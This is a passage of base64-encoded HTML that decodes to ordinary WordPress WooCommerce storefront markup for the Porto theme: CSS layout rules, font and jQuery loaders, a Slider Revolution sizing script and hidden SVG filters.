Zm9udDQgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnU2Vnb2UgU2NyaXB0JywgJ1Nhdm95ZSBMRVQnDQogICAgICAgIH0NCg0KICAgICAgICAud29vY29tbWVyY2UuYXJjaGl2ZSAuY29sdW1uMSAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS13cmFwcGVyIHsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkLCBib2R5LndpZGUgLmNvbnRhaW5lcjpub3QoLmlubmVyLWNvbnRhaW5lcikgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbiB7DQogICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLTQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiA0MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDQwcHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCAuZWxlbWVudG9yLXRvcC1zZWN0aW9uLmVsZW1lbnRvci1zZWN0aW9uLWZ1bGxfd2lkdGggPiAuZWxlbWVudG9yLWNvbHVtbi1nYXAtbm8gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwOw0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMDsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAucHgtc2wtMCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMCAhaW1wb3J0YW50DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAudmlldy1zd2l0Y2hlciBsaS5tZW51LWl0ZW0gPiBhID4gW2NsYXNzKj0nZmxhZy0nXSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5wb3J0by12aWV3LXN3aXRjaGVyID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICBmb250LXNpemU6IC42MjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwDQogICAgICAgIH0NCg0KICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiAuYXJyb3c6YmVmb3JlIHsNCiAgICAgICAgICAgIG9wYWNpdHk6IC40DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcHJvZHVjdHMtZmlsdGVyLWJvZHkgLnNpZGViYXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA5OTJweCkgew0KICAgICAgICAgICAgI2hlYWRlciAuc2VhcmNoZm9ybSB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMmVtDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5oZWFkZXItd3JhcHBlciAjaGVhZGVyIC5zZWFyY2hmb3JtIGJ1dHRvbiB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMTJweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBpbnB1dCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxNXB4Ow0KICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNoZWFkZXIgLmhlYWRlci1jb250YWN0IHsNCiAgICAgICAgICAgICAgICBmbGV4OiAwIDAgYXV0bzsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1cmVtOw0KICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgb3JkZXI6IDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICNoZWFkZXIgLnNoYXJlLWxpbmtzIGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC41cmVtOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51IHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDA7DQogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC0yMHB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogMTQzOXB4KSB7DQogICAgICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiBhLCAudG9nZ2xlLW1lbnUtd3JhcCAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE3cHgNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zZWN0aW9uLXRpdGxlIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAuNXJlbTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTdlN2U3Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAuYnRuIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1mbGF0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8taWJhbm5lci1sYXllciAuYnRuLWZsYXQuYnRuLXhsIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xMjVlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLm93bC1jYXJvdXNlbC5uYXYtc3R5bGUtNCAub3dsLW5hdiBbY2xhc3MqPSJvd2wtIl0gew0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0LWxheW91dC10cmFuc3BhcmVudCB7DQogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgdWwucHJvZHVjdHMgbGkucHJvZHVjdC1vbmltYWdlMyAucHJvZHVjdC1jb250ZW50IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDE7DQogICAgICAgICAgICBib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdpbmF0aW9uLmxvYWQtbW9yZSAubmV4dCB7DQogICAgICAgICAgICB3aWR0aDogYXV0bzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTRweCA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmZmOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5jb3Vwb24tc2FsZS10ZXh0IGI6YmVmb3JlIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgICAgbGVmdDogLS41ZW07DQogICAgICAgICAgICB0b3A6IC0uMWVtOw0KICAgICAgICAgICAgcmlnaHQ6IC0uNWVtOw0KICAgICAgICAgICAgYm90dG9tOiAtLjFlbTsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI1Mjk7DQogICAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKC0xLjVkZWcpIHNrZXcoMS41ZGVnKQ0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0X3RpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zDQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgICNjb250ZW50LWJvdHRvbSArIC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLnR5cGUtcHJvZHVjdCA+IC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCAucG9ydG8tYmxvY2sgew0KICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMDsNCiAgICAgICAgICAgIGJvcmRlci1zdHlsZTogc29saWQ7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldC10aXRsZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICB3aWR0aDogMzZweDsNCiAgICAgICAgICAgIGhlaWdodDogMzZweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE4cHgNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyBpIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHN0cm9uZywgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3BhbiB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcgew0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItbWFpbiA+IC5jb250YWluZXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDIuMjVyZW07DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNw0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtaW5wdXQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y0ZjRmNDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycmVtIDAgMCAycmVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxLjI1cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXRfd3lzaWphX2NvbnQgLnd5c2lqYS1zdWJtaXQgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNXJlbTsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMCAycmVtIDJyZW0gMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItYm90dG9tIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAzcmVtOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2dvb2dsZS1mb250cy0xLWNzcycNCiAgICAgICAgICBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5taW4uanM/dmVyPTMuNi4xJyBpZD0nanF1ZXJ5LWNvcmUtanMnPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9My4zLjInIGlkPSdqcXVlcnktbWlncmF0ZS1qcyc+PC9zY3JpcHQ+DQoNCiAgICA8IS0tIEh1YlNwb3QgV29yZFByZXNzIFBsdWdpbiB2MTAuMC4xOTogZW1iZWQgSlMgZGlzYWJsZWQgYXMgYSBwb3J0YWxJZCBoYXMgbm90IHlldCBiZWVuIGNvbmZpZ3VyZWQgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICBXZWJGb250Q29uZmlnID0gew0KICAgICAgICAgICAgZ29vZ2xlOiB7ZmFtaWxpZXM6IFsnUG9wcGluczo0MDAsNTAwLDYwMCw3MDAsODAwJywgJ1BsYXlmYWlyK0Rpc3BsYXk6NDAwLDcwMCddfQ0KICAgICAgICB9Ow0KICAgICAgICAoZnVuY3Rpb24gKGQpIHsNCiAgICAgICAgICAgIHZhciB3ZiA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JyksIHMgPSBkLnNjcmlwdHNbZC5zY3JpcHRzLmxlbmd0aCAtIDFdOw0KICAgICAgICAgICAgd2Yuc3JjID0gJ3t7cHJlZml4fX0vd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy93ZWJmb250LmpzJzsNCiAgICAgICAgICAgIHdmLmFzeW5jID0gdHJ1ZTsNCiAgICAgICAgICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUod2YsIHMpOw0KICAgICAgICB9KShkb2N1bWVudCk7PC9zY3JpcHQ+DQogICAgPG5vc2NyaXB0Pg0KICAgICAgICA8c3R5bGU+Lndvb2NvbW1lcmNlLXByb2R1Y3QtZ2FsbGVyeSB7DQogICAgICAgICAgICBvcGFjaXR5OiAxICFpbXBvcnRhbnQ7DQogICAgICAgIH08L3N0eWxlPg0KICAgIDwvbm9zY3JpcHQ+DQogICAgPG1ldGEgbmFtZT0iZ2VuZXJhdG9yIg0KICAgICAgICAgIGNvbnRlbnQ9IlBvd2VyZWQgYnkgU2xpZGVyIFJldm9sdXRpb24gNi41LjIwIC0gcmVzcG9uc2l2ZSwgTW9iaWxlLUZyaWVuZGx5IFNsaWRlciBQbHVnaW4gZm9yIFdvcmRQcmVzcyB3aXRoIGNvbWZvcnRhYmxlIGRyYWcgYW5kIGRyb3AgaW50ZXJmYWNlLiIvPg0KICAgIDxzY3JpcHQ+ZnVuY3Rpb24gc2V0UkVWU3RhcnRTaXplKGUpIHsNCiAgICAgICAgLy93aW5kb3cucmVxdWVzdEFuaW1hdGlvbkZyYW1lKGZ1bmN0aW9uKCkgew0KICAgICAgICB3aW5kb3cuUlNJVyA9IHdpbmRvdy5SU0lXID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJXaWR0aCA6IHdpbmRvdy5SU0lXOw0KICAgICAgICB3aW5kb3cuUlNJSCA9IHdpbmRvdy5SU0lIID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiB3aW5kb3cuUlNJSDsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIHZhciBwdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYykucGFyZW50Tm9kZS5vZmZzZXRXaWR0aCwNCiAgICAgICAgICAgICAgICBuZXdoOw0KICAgICAgICAgICAgcHcgPSBwdyA9PT0gMCB8fCBpc05hTihwdykgPyB3aW5kb3cuUlNJVyA6IHB3Ow0KICAgICAgICAgICAgZS50YWJ3ID0gZS50YWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJ3KTsNCiAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYncgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1idyk7DQogICAgICAgICAgICBlLnRhYmggPSBlLnRhYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmgpOw0KICAgICAgICAgICAgZS50aHVtYmggPSBlLnRodW1iaCA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoKTsNCiAgICAgICAgICAgIGUudGFiaGlkZSA9IGUudGFiaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFiaGlkZSk7DQogICAgICAgICAgICBlLnRodW1iaGlkZSA9IGUudGh1bWJoaWRlID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYmhpZGUpOw0KICAgICAgICAgICAgZS5taCA9IGUubWggPT09IHVuZGVmaW5lZCB8fCBlLm1oID09ICIiIHx8IGUubWggPT09ICJhdXRvIiA/IDAgOiBwYXJzZUludChlLm1oLCAwKTsNCiAgICAgICAgICAgIGlmIChlLmxheW91dCA9PT0gImZ1bGxzY3JlZW4iIHx8IGUubCA9PT0gImZ1bGxzY3JlZW4iKQ0KICAgICAgICAgICAgICAgIG5ld2ggPSBNYXRoLm1heChlLm1oLCB3aW5kb3cuUlNJSCk7DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBlLmd3ID0gQXJyYXkuaXNBcnJheShlLmd3KSA/IGUuZ3cgOiBbZS5nd107DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBpZiAoZS5nd1tpXSA9PT0gdW5kZWZpbmVkIHx8IGUuZ3dbaV0gPT09IDApIGUuZ3dbaV0gPSBlLmd3W2kgLSAxXTsNCiAgICAgICAgICAgICAgICBlLmdoID0gZS5lbCA9PT0gdW5kZWZpbmVkIHx8IGUuZWwgPT09ICIiIHx8IChBcnJheS5pc0FycmF5KGUuZWwpICYmIGUuZWwubGVuZ3RoID09IDApID8gZS5naCA6IGUuZWw7DQogICAgICAgICAgICAgICAgZS5naCA9IEFycmF5LmlzQXJyYXkoZS5naCkgPyBlLmdoIDogW2UuZ2hdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ2hbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmdoW2ldID09PSAwKSBlLmdoW2ldID0gZS5naFtpIC0gMV07DQoNCiAgICAgICAgICAgICAgICB2YXIgbmwgPSBuZXcgQXJyYXkoZS5ybC5sZW5ndGgpLA0KICAgICAgICAgICAgICAgICAgICBpeCA9IDAsDQogICAgICAgICAgICAgICAgICAgIHNsOw0KICAgICAgICAgICAgICAgIGUudGFidyA9IGUudGFiaGlkZSA+PSBwdyA/IDAgOiBlLnRhYnc7DQogICAgICAgICAgICAgICAgZS50aHVtYncgPSBlLnRodW1iaGlkZSA+PSBwdyA/IDAgOiBlLnRodW1idzsNCiAgICAgICAgICAgICAgICBlLnRhYmggPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJoOw0KICAgICAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYmg7DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBubFtpXSA9IGUucmxbaV0gPCB3aW5kb3cuUlNJVyA/IDAgOiBlLnJsW2ldOw0KICAgICAgICAgICAgICAgIHNsID0gbmxbMF07DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBubCkgaWYgKHNsID4gbmxbaV0gJiYgbmxbaV0gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIHNsID0gbmxbaV07DQogICAgICAgICAgICAgICAgICAgIGl4ID0gaTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG0gPSBwdyA+IChlLmd3W2l4XSArIGUudGFidyArIGUudGh1bWJ3KSA/IDEgOiAocHcgLSAoZS50YWJ3ICsgZS50aHVtYncpKSAvIChlLmd3W2l4XSk7DQogICAgICAgICAgICAgICAgbmV3aCA9IChlLmdoW2l4XSAqIG0pICsgKGUudGFiaCArIGUudGh1bWJoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHZhciBlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYyk7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMgKyAiX3dyYXBwZXIiKTsNCiAgICAgICAgICAgIGlmIChlbCAhPT0gbnVsbCAmJiBlbCkgew0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICBjb25zb2xlLmxvZygiRmFpbHVyZSBhdCBQcmVzaXplIG9mIFNsaWRlcjoiICsgZSkNCiAgICAgICAgfQ0KICAgICAgICAvL30pOw0KICAgIH07PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZS1wcm9kdWN0IHdwLWVtYmVkLXJlc3BvbnNpdmUgdGhlbWUtcG9ydG8gd29vY29tbWVyY2Utc2hvcCB3b29jb21tZXJjZSB3b29jb21tZXJjZS1wYWdlIHdvb2NvbW1lcmNlLW5vLWpzIGxvZ2luLXBvcHVwIHdpZGUgYmxvZy0xIGJvZHktc2lkZSBlbGVtZW50b3ItZGVmYXVsdCBlbGVtZW50b3Ita2l0LTIxNTIiPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWRhcmstZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWdyYXlzY2FsZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNT